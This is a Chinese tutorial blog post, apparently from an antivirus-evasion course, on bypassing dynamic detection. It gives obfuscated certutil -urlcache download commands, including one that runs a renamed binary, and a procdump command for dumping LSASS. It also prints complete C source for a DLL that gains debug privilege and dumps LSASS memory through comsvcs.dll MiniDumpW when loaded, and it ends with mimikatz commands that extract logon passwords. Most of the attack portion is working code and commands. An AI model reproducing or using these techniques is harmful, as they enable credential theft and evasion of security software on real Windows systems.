安全工具篇&动态绕过&DumpLsass凭据&Certutil下载&变异替换&打乱源头特征

免杀对抗------第一百六十六天

安全工具篇&动态绕过&DumpLsass凭据&Certutil下载&变异替换&打乱源头特征

动态拦截 - certutil绕过-源头特征混淆命令

  • Certutil是Windows自带的作为证书服务的一部分安装命令行工具,使用Certutil显示证书颁发机构(CA)配置信息、配置证书服务、备份和还原CA组件。
  • Certutil命令中有个参数urlcache可以用于远程下载,用来解决无图像化下载上传文件操作等,但直接运行指令会被DF和大部分杀软拦截掉
bash 复制代码
certutil.exe -urlcache -split -f http://192.168.0.101:8889/test.c test.c
  • 根据之前我们学到的东西,我们可以从两个方面去绕过:
    1. 命令行本身:混淆、改变、替换
    2. 文件本身:改变certutil文件
  • 关于第一种,可以用如下混淆命令去尝试绕过:
bash 复制代码
certutil -url""""cache -split -f http:///192.168.0.101:8889/test.c
cert^u^t^il -url""""cache -sp""""lit -f http://192.168.0.101:8889/test.c
  • 关于第二种,我们可以改变文件的hash特征或者去替换certutil文件
  • 比如我们将原本的certutil文件复制成一个新的文件,然后利用这个新的文件去进行下载操作:
bash 复制代码
copy C:\Windows\System32\certutil.exe c.jpg
c.jpg -url""""cache -split -f http:///192.168.0.101:8889/test.c
  • 目前这个已经是没用了,我们可以尝试修改这个文件的hash值看看:

  • 这里将它的版本信息删掉,然后再上传运行不过依旧过不了火绒,而且我们本身都是通过这个命令去尝试下载文件,那我都能直接上传了就不需要这个东西了,所以比较鸡肋,更何况这个方法根本绕不了

  • 可以看到,截至目前gay迪讲的这些方法基本都失效了,所以我们能做的就是换下载方法吧

动态拦截 - dump lsass绕过-源头特征混淆文件

  • 参考文章:奇安信攻防社区-windows-lsass转储篇
  • LSASS(Local Security Authority Subsystem Service)是Windows操作系统中的一个进程,负责本地安全策略的执行。获取LSASS进程的内存转储可以帮助提取存储在其中的凭据。
  • Dump lsass在内网安全测试中,成功导出获取口令或HASH起到了关键作用,各大杀毒也是对此进行各种拦截,如果不能解决拦截将大大降低后续测试成功率
  • 上面的那个玩意它的目的是让我们能够下载文件,所以是只能固定死的用它自带的软件去执行命令,因此我们能做的就只有改命令格式,替换命令文件调用这几种方法,可变异性比较弱,玩法比较少,人家只需要看主机上的certutil.exe进程是否被调用基本就能极大程度拦截掉我们的所有混淆操作,所以绕过难度大
  • 而这个我们除了能够控制命令混淆外,还可以自行上传各种变异文件去进行绕过,所以可操控性强,玩法多样,绕过难度较小
  • 那这里常见的有几种方法:
  1. 白名单程序:使用一些官方的白名单程序进行绕过,比如procdump
bash 复制代码
procdump.exe -accepteula -ma lsass.exe lsass_dump
  1. 加载DLL:通过调用MiniDumpW函数去实现dump操作
c 复制代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
#define _CRT_SECURE_NO_WARNINGS


// comsvcs.dll 中 MiniDumpW 函数的类型定义
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD, DWORD, PWCHAR);


// 检查是否具有管理员权限
BOOL CheckPrivilege()
{
    BOOL state;
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    PSID AdministratorsGroup;

    state = AllocateAndInitializeSid(
        &NtAuthority,
        2,
        SECURITY_BUILTIN_DOMAIN_RID,
        DOMAIN_ALIAS_RID_ADMINS,
        SECURITY_LOCAL_SYSTEM_RID, DOMAIN_GROUP_RID_ADMINS, 0, 0, 0, 0,
        &AdministratorsGroup);

    if (state)
    {
        if (!CheckTokenMembership(NULL, AdministratorsGroup, &state))
        {
            state = FALSE;
        }
        FreeSid(AdministratorsGroup);
    }

    return state;
}

// 启用调试权限
BOOL EnableDebugPrivilege()
{
    HANDLE hThis = GetCurrentProcess();
    HANDLE hToken;
    OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
    LUID luid;
    LookupPrivilegeValue(0, TEXT("seDebugPrivilege"), &luid);
    TOKEN_PRIVILEGES priv;
    priv.PrivilegeCount = 1;
    priv.Privileges[0].Luid = luid;
    priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    BOOL isEnabiled = AdjustTokenPrivileges(hToken, false, &priv, sizeof(priv), 0, 0);
    if (isEnabiled) {
        CloseHandle(hToken);
        CloseHandle(hThis);
        return TRUE;
    }
    return FALSE;
}

// 获取 lsass 进程的 PID
DWORD GetLsassPID()
{
    DWORD lsassPID = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    LPCWSTR processName = L"";

    if (Process32First(snapshot, &processEntry))
    {
        while (_wcsicmp(processName, L"lsass.exe") != 0)
        {
            Process32Next(snapshot, &processEntry);
            processName = processEntry.szExeFile;
            lsassPID = processEntry.th32ProcessID;
        }
    }
    return lsassPID;
}

// 检查指定文件是否存在
BOOL CheckFileExists(PWCHAR file)
{
    WIN32_FIND_DATA FindFileData;
    HANDLE hFind = FindFirstFileEx(file, FindExInfoStandard, &FindFileData, FindExSearchNameMatch, NULL, 0);
    if (hFind == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }
    return TRUE;
}

int Dump()
{
    WCHAR commandLine[MAX_PATH]; //命令行参数
    WCHAR DumpFile[] = L"C:\\test.log"; //转储文件的路径
    _MiniDumpW MiniDumpW; //MiniDumpW 函数的指针
    DWORD lsassPID = 0;  //存放lsass进程的PID

    // 检查是否具有管理员权限
    if (!CheckPrivilege())
    {
        return -1;
    }

    // 启用调试权限
    if (!EnableDebugPrivilege())
    {
        return -1;
    }

    // 获取lsass进程的PID
    lsassPID = GetLsassPID();

    // 获取 MiniDumpW 函数的地址
    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");

    // 准备MiniDumpWh函数的参数,full是传递给MiniDumpW函数的参数之一,表示创建一个完整的内存转储
    swprintf(commandLine, 512, L"%d %s full", lsassPID, DumpFile);

    // 调用 MiniDumpW 函数创建内存转储文件
    MiniDumpW(0, 0, commandLine);
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Dump();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
  1. 变异+加载DLL:由于有些杀毒软件会查杀生成的.log文件,所以我们可以在导出之前对文件做一次混淆
  2. 变异+白加黑DLL+SSP:奇安信攻防社区-windows-lsass转储篇
  • 最后通过mimikatz进行提取:
bash 复制代码
sekurlsa::minidump xx.log
sekurlsa::logonpasswords full
相关推荐
世人万千丶19 小时前
Flutter 框架跨平台鸿蒙开发 - 恐惧清单应用
学习·flutter·华为·开源·harmonyos·鸿蒙
yuzhuanhei19 小时前
Visual Studio 配置C++opencv
c++·学习·visual studio
此刻觐神20 小时前
IMX6ULL开发板学习-01(Linux文件目录和目录相关命令)
linux·服务器·学习
憧憬从前20 小时前
算法学习记录DAY2
学习
babe小鑫20 小时前
会计岗位学习数据分析的价值分析
学习·数据挖掘·数据分析
千枫s20 小时前
电脑vm虚拟机kali linux安装shannon
学习·网络安全
zjnlswd20 小时前
tkinter学习案例--笔记代码
笔记·学习
咬_咬21 小时前
go语言学习(基本数据类型)
开发语言·学习·golang·数据类型
山甫aa21 小时前
List 容器 -----C++的stl学习
开发语言·c++·学习
无聊大侠hello world21 小时前
Yu-AI-Agent 项目(AI 恋爱大师智能体) · 学习笔记
人工智能·笔记·学习